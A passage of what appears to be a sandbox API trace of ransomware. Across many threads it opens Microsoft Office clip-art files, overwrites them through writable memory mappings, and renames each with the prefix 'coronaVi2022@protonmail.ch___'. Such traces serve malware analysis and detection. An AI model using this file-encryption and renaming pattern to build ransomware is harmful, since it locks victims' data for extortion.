	[0091.905] CreateFileMappingA (hFile=0x8a4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1fb, lpName=0x0) returned 0x9a8
	[0091.912] MapViewOfFile (hFileMappingObject=0x9a8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x5f60000
	[0091.912] UnmapViewOfFile (lpBaseAddress=0x5f60000) returned 1
	[0091.912] CloseHandle (hObject=0x9a8) returned 1
	[0091.913] GetCurrentThreadId () returned 0x1624
	[0091.913] FlushFileBuffers (hFile=0x8a4) returned 1
	[0092.304] CloseHandle (hObject=0x8a4) returned 1
	[0092.308] _swprintf (in: param_1=0x3e49f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00092_.gif") returned 97
	[0092.308] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00092_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00092_.gif")) returned 1
	[0092.356] free (_Block=0x51ff0e8) 
	[0092.356] RtlExitUserThread (Status=0x0) 

Thread:
	id = 360
	os_tid = 0x1628

	[0091.578] _alloca_probe () returned 0x40328a
	[0091.579] GetCurrentThreadId () returned 0x1628
	[0091.579] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.gif", dwFileAttributes=0x80) returned 1
	[0091.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x880
	[0091.895] GetFileSizeEx (in: hFile=0x880, lpFileSize=0x3f8ff5c | out: lpFileSize=0x3f8ff5c*=12702) returned 1
	[0091.895] CreateFileMappingA (hFile=0x880, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x31ab, lpName=0x0) returned 0x848
	[0091.905] MapViewOfFile (hFileMappingObject=0x848, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2410000
	[0092.115] UnmapViewOfFile (lpBaseAddress=0x2410000) returned 1
	[0092.115] CloseHandle (hObject=0x848) returned 1
	[0092.115] GetCurrentThreadId () returned 0x1628
	[0092.115] FlushFileBuffers (hFile=0x880) returned 1
	[0092.312] CloseHandle (hObject=0x880) returned 1
	[0092.324] _swprintf (in: param_1=0x3f89f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00103_.gif") returned 97
	[0092.324] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00103_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00103_.gif")) returned 1
	[0092.371] free (_Block=0x51fa0c0) 
	[0092.371] RtlExitUserThread (Status=0x0) 

Thread:
	id = 361
	os_tid = 0x162c

	[0091.580] _alloca_probe () returned 0x40328a
	[0091.581] GetCurrentThreadId () returned 0x162c
	[0091.581] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.gif", dwFileAttributes=0x80) returned 1
	[0091.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7fc
	[0091.896] GetFileSizeEx (in: hFile=0x7fc, lpFileSize=0x40cff5c | out: lpFileSize=0x40cff5c*=3484) returned 1
	[0091.896] CreateFileMappingA (hFile=0x7fc, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xda7, lpName=0x0) returned 0x86c
	[0091.906] MapViewOfFile (hFileMappingObject=0x86c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3a50000
	[0092.092] UnmapViewOfFile (lpBaseAddress=0x3a50000) returned 1
	[0092.092] CloseHandle (hObject=0x86c) returned 1
	[0092.092] GetCurrentThreadId () returned 0x162c
	[0092.092] FlushFileBuffers (hFile=0x7fc) returned 1
	[0092.311] CloseHandle (hObject=0x7fc) returned 1
	[0092.321] _swprintf (in: param_1=0x40c9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00120_.gif") returned 97
	[0092.321] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00120_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00120_.gif")) returned 1
	[0092.362] free (_Block=0x52010f8) 
	[0092.362] RtlExitUserThread (Status=0x0) 

Thread:
	id = 362
	os_tid = 0x1630

	[0091.582] _alloca_probe () returned 0x40328a
	[0091.583] GetCurrentThreadId () returned 0x1630
	[0091.583] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.gif", dwFileAttributes=0x80) returned 1
	[0091.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7d8
	[0091.896] GetFileSizeEx (in: hFile=0x7d8, lpFileSize=0x420ff5c | out: lpFileSize=0x420ff5c*=3140) returned 1
	[0091.896] CreateFileMappingA (hFile=0x7d8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc47, lpName=0x0) returned 0x860
	[0091.906] MapViewOfFile (hFileMappingObject=0x860, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3a60000
	[0092.065] UnmapViewOfFile (lpBaseAddress=0x3a60000) returned 1
	[0092.065] CloseHandle (hObject=0x860) returned 1
	[0092.065] GetCurrentThreadId () returned 0x1630
	[0092.065] FlushFileBuffers (hFile=0x7d8) returned 1
	[0092.313] CloseHandle (hObject=0x7d8) returned 1
	[0092.325] _swprintf (in: param_1=0x4209f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00126_.gif") returned 97
	[0092.325] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00126_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00126_.gif")) returned 1
	[0092.372] free (_Block=0x51fc0d0) 
	[0092.372] RtlExitUserThread (Status=0x0) 

Thread:
	id = 363
	os_tid = 0x1634

	[0091.584] _alloca_probe () returned 0x40328a
	[0091.585] GetCurrentThreadId () returned 0x1634
	[0091.585] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.gif", dwFileAttributes=0x80) returned 1
	[0091.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x90c
	[0091.897] GetFileSizeEx (in: hFile=0x90c, lpFileSize=0x434ff5c | out: lpFileSize=0x434ff5c*=12482) returned 1
	[0091.897] CreateFileMappingA (hFile=0x90c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x30c3, lpName=0x0) returned 0x810
	[0091.906] MapViewOfFile (hFileMappingObject=0x810, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3a70000
	[0092.064] UnmapViewOfFile (lpBaseAddress=0x3a70000) returned 1
	[0092.064] CloseHandle (hObject=0x810) returned 1
	[0092.064] GetCurrentThreadId () returned 0x1634
	[0092.064] FlushFileBuffers (hFile=0x90c) returned 1
	[0092.311] CloseHandle (hObject=0x90c) returned 1
	[0092.321] _swprintf (in: param_1=0x4349f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00129_.gif") returned 97
	[0092.321] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00129_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00129_.gif")) returned 1
	[0092.363] free (_Block=0x51fb0c8) 
	[0092.363] RtlExitUserThread (Status=0x0) 

Thread:
	id = 364
	os_tid = 0x1638

	[0091.587] _alloca_probe () returned 0x40328a
	[0091.587] GetCurrentThreadId () returned 0x1638
	[0091.587] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.gif", dwFileAttributes=0x80) returned 1
	[0091.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x814
	[0091.897] GetFileSizeEx (in: hFile=0x814, lpFileSize=0x448ff5c | out: lpFileSize=0x448ff5c*=5253) returned 1
	[0091.897] CreateFileMappingA (hFile=0x814, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1489, lpName=0x0) returned 0x960
	[0091.906] MapViewOfFile (hFileMappingObject=0x960, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3bc0000
	[0092.061] UnmapViewOfFile (lpBaseAddress=0x3bc0000) returned 1
	[0092.061] CloseHandle (hObject=0x960) returned 1
	[0092.061] GetCurrentThreadId () returned 0x1638
	[0092.061] FlushFileBuffers (hFile=0x814) returned 1
	[0092.311] CloseHandle (hObject=0x814) returned 1
	[0092.321] _swprintf (in: param_1=0x4489f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00130_.gif") returned 97
	[0092.321] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00130_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00130_.gif")) returned 1
	[0092.364] free (_Block=0x5204110) 
	[0092.364] RtlExitUserThread (Status=0x0) 

Thread:
	id = 365
	os_tid = 0x163c

	[0091.589] _alloca_probe () returned 0x40328a
	[0091.589] GetCurrentThreadId () returned 0x163c
	[0091.589] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.gif", dwFileAttributes=0x80) returned 1
	[0091.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x758
	[0091.897] GetFileSizeEx (in: hFile=0x758, lpFileSize=0x45cff5c | out: lpFileSize=0x45cff5c*=2596) returned 1
	[0091.897] CreateFileMappingA (hFile=0x758, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa27, lpName=0x0) returned 0x964
	[0091.907] MapViewOfFile (hFileMappingObject=0x964, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x51d0000
	[0092.060] UnmapViewOfFile (lpBaseAddress=0x51d0000) returned 1
	[0092.060] CloseHandle (hObject=0x964) returned 1
	[0092.060] GetCurrentThreadId () returned 0x163c
	[0092.060] FlushFileBuffers (hFile=0x758) returned 1
	[0092.311] CloseHandle (hObject=0x758) returned 1
	[0092.323] _swprintf (in: param_1=0x45c9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00135_.gif") returned 97
	[0092.323] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00135_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00135_.gif")) returned 1
	[0092.368] free (_Block=0x51fe0e0) 
	[0092.368] RtlExitUserThread (Status=0x0) 

Thread:
	id = 366
	os_tid = 0x1640

	[0091.591] _alloca_probe () returned 0x40328a
	[0091.592] GetCurrentThreadId () returned 0x1640
	[0091.592] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.gif", dwFileAttributes=0x80) returned 1
	[0091.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x910
	[0091.898] GetFileSizeEx (in: hFile=0x910, lpFileSize=0x470ff5c | out: lpFileSize=0x470ff5c*=10607) returned 1
	[0091.898] CreateFileMappingA (hFile=0x910, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x297d, lpName=0x0) returned 0x968
	[0091.907] MapViewOfFile (hFileMappingObject=0x968, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x51e0000
	[0092.056] UnmapViewOfFile (lpBaseAddress=0x51e0000) returned 1
	[0092.056] CloseHandle (hObject=0x968) returned 1
	[0092.056] GetCurrentThreadId () returned 0x1640
	[0092.056] FlushFileBuffers (hFile=0x910) returned 1
	[0092.306] CloseHandle (hObject=0x910) returned 1
	[0092.309] _swprintf (in: param_1=0x4709f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00139_.gif") returned 97
	[0092.309] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00139_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00139_.gif")) returned 1
	[0092.358] free (_Block=0x5206120) 
	[0092.358] RtlExitUserThread (Status=0x0) 

Thread:
	id = 367
	os_tid = 0x1644

	[0091.593] _alloca_probe () returned 0x40328a
	[0091.594] GetCurrentThreadId () returned 0x1644
	[0091.594] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.gif", dwFileAttributes=0x80) returned 1
	[0091.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x854
	[0091.898] GetFileSizeEx (in: hFile=0x854, lpFileSize=0x484ff5c | out: lpFileSize=0x484ff5c*=15308) returned 1
	[0091.898] CreateFileMappingA (hFile=0x854, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3bd7, lpName=0x0) returned 0x96c
	[0091.907] MapViewOfFile (hFileMappingObject=0x96c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x5e70000
	[0092.059] UnmapViewOfFile (lpBaseAddress=0x5e70000) returned 1
	[0092.059] CloseHandle (hObject=0x96c) returned 1
	[0092.059] GetCurrentThreadId () returned 0x1644
	[0092.059] FlushFileBuffers (hFile=0x854) returned 1
	[0092.311] CloseHandle (hObject=0x854) returned 1
	[0092.322] _swprintf (in: param_1=0x4849f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00142_.gif") returned 97
	[0092.322] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00142_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00142_.gif")) returned 1
	[0092.365] free (_Block=0x5202100) 
	[0092.365] RtlExitUserThread (Status=0x0) 

Thread:
	id = 368
	os_tid = 0x1648

	[0091.596] _alloca_probe () returned 0x40328a
	[0091.596] GetCurrentThreadId () returned 0x1648
	[0091.596] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.gif", dwFileAttributes=0x80) returned 1
	[0091.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x778
	[0091.899] GetFileSizeEx (in: hFile=0x778, lpFileSize=0x498ff5c | out: lpFileSize=0x498ff5c*=5315) returned 1
	[0091.899] CreateFileMappingA (hFile=0x778, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14c5, lpName=0x0) returned 0x970
	[0091.907] MapViewOfFile (hFileMappingObject=0x970, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x5e80000
	[0091.919] UnmapViewOfFile (lpBaseAddress=0x5e80000) returned 1
	[0091.919] CloseHandle (hObject=0x970) returned 1
	[0091.919] GetCurrentThreadId () returned 0x1648
	[0091.919] FlushFileBuffers (hFile=0x778) returned 1
	[0092.312] CloseHandle (hObject=0x778) returned 1
	[0092.324] _swprintf (in: param_1=0x4989f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00154_.gif") returned 97
	[0092.324] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00154_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00154_.gif")) returned 1
	[0092.369] free (_Block=0x52000f0) 
	[0092.369] RtlExitUserThread (Status=0x0) 

Thread:
	id = 369
	os_tid = 0x164c

	[0091.598] _alloca_probe () returned 0x40328a
	[0091.599] GetCurrentThreadId () returned 0x164c
	[0091.599] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.gif", dwFileAttributes=0x80) returned 1
	[0091.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x878
	[0091.899] GetFileSizeEx (in: hFile=0x878, lpFileSize=0x4acff5c | out: lpFileSize=0x4acff5c*=4955) returned 1
	[0091.899] CreateFileMappingA (hFile=0x878, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1365, lpName=0x0) returned 0x974
	[0091.908] MapViewOfFile (hFileMappingObject=0x974, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x5e90000
	[0091.917] UnmapViewOfFile (lpBaseAddress=0x5e90000) returned 1
	[0091.917] CloseHandle (hObject=0x974) returned 1
	[0091.918] GetCurrentThreadId () returned 0x164c
	[0091.918] FlushFileBuffers (hFile=0x878) returned 1
	[0092.316] CloseHandle (hObject=0x878) returned 1
	[0092.327] _swprintf (in: param_1=0x4ac9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00157_.gif") returned 97
	[0092.327] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00157_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00157_.gif")) returned 1
	[0092.378] free (_Block=0x5209138) 
	[0092.378] RtlExitUserThread (Status=0x0) 

Thread:
	id = 370
	os_tid = 0x1650

	[0091.603] _alloca_probe () returned 0x40328a
	[0091.603] GetCurrentThreadId () returned 0x1650
	[0091.604] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.gif", dwFileAttributes=0x80) returned 1
	[0091.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x890
	[0091.899] GetFileSizeEx (in: hFile=0x890, lpFileSize=0x4c0ff5c | out: lpFileSize=0x4c0ff5c*=5030) returned 1
	[0091.899] CreateFileMappingA (hFile=0x890, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13ab, lpName=0x0) returned 0x978
	[0091.908] MapViewOfFile (hFileMappingObject=0x978, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x5ea0000
	[0091.916] UnmapViewOfFile (lpBaseAddress=0x5ea0000) returned 1
	[0091.916] CloseHandle (hObject=0x978) returned 1
	[0091.916] GetCurrentThreadId () returned 0x1650
	[0091.916] FlushFileBuffers (hFile=0x890) returned 1
	[0092.311] CloseHandle (hObject=0x890) returned 1
	[0092.323] _swprintf (in: param_1=0x4c09f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00158_.gif") returned 97
	[0092.323] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00158_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ag00158_.gif")) returned 1
	[0092.369] free (_Block=0x5207128) 
	[0092.369] RtlExitUserThread (Status=0x0) 

Thread:
	id = 371
	os_tid = 0x1658

	[0091.634] _alloca_probe () returned 0x40328a
	[0091.635] GetCurrentThreadId () returned 0x1658
	[0091.635] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.gif", dwFileAttributes=0x80) returned 1
	[0091.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x954
	[0091.900] GetFileSizeEx (in: hFile=0x954, lpFileSize=0x4d4ff5c | out: lpFileSize=0x4d4ff5c*=1146) returned 1
	[0091.900] CreateFileMappingA (hFile=0x954, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x483, lpName=0x0) returned 0x97c
	[0091.908] MapViewOfFile (hFileMappingObject=0x97c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x5eb0000
	[0091.915] UnmapViewOfFile (lpBaseAddress=0x5eb0000) returned 1
	[0091.915] CloseHandle (hObject=0x97c) returned 1
	[0091.915] GetCurrentThreadId () returned 0x1658
	[0091.915] FlushFileBuffers (hFile=0x954) returned 1
	[0092.311] CloseHandle (hObject=0x954) returned 1
	[0092.323] _swprintf (in: param_1=0x4d49f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___AG00160_.gif") returned 97
